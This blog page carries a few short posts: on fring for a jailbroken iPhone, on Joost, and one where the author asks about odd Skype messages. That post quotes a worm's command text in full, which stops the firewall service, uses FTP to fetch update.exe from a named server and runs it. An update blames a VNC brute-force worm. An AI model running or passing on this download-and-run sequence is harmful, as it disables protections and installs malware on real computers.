Nuno’s blog

Yes, the answer is fring.

Skype, MSN Messenger, ICQ, SIP, GTalk, Twitter, Yahoo and AIM. With fring, you can use all of these on a jailbreaked iphone. Pretty neet.

Is there any Mac Skype user out there receiving the following type of messages from other Mac Skype users?

5systemroot5\system32\cmd.exe
cmd -c net stop sharedaccess 7echo open elterryer.serveftp.com 21 .. ij 7echo user a b .. ij 7echo binary .. ij 7echo get update.exe .. ij 7echo bye .. ij 7ftp ‘n ‘v ’sçij 7del ij 7update.exe 7net start sharedaccess 7exit

Lately I’ve been receiving this message from my mom. I was able to successfully connect the ftp server described in the message. Obviously this is some sort of Worm/Trojan that is affecting Skype users, but what is confusing me is that I’m receiving this message from a Mac user. My mom owns a Mac mini, running MacOSX 10.4.9. I already received 3 messages like this from her.

Since Skype released its API there have been a few worms/trojans going around. I know people that joins chat rooms without doing anything to join them. I’m just wondering if this is a Skype-only issue and not worry about it or if I should really worry about it and do something to her computer.

[Update 29th May: I found out that this is not related to Skype. It’s a worm based on a brute force attack to VNC servers. It doesn’t really do anything else other than having that block of text pasted in the window with the focus. For more information see http://episteme.arstechnica.com/eve/forums/a/tpc/f/469092836/m/264004244831 ]

Ladies and Gentleman, from the Skype visionaries, Joost…

What is Joost™?

“Joost™ is a new way of watching TV on the internet, which uses new and established technologies to provide the best of both the internet and TV worlds. We’re in the process of making it as TV-like as we can, with programmes, channels and adverts. You can also see some things that we think will enhance the TV experience: searching for programmes and channels, for example, as well as social features like chat. There are many more new features to come!”

It looks like there is no MacOSX version yet, they expect it to be available in the next few months. I guess we have no choice but to wait.

I love the idea and the concept, actually I’ve thought about this concept sometime ago, but I guess they came up with the idea even before Skype was born. They were just waiting for the right combination of factors - widespread broadband and powerful computers in particular.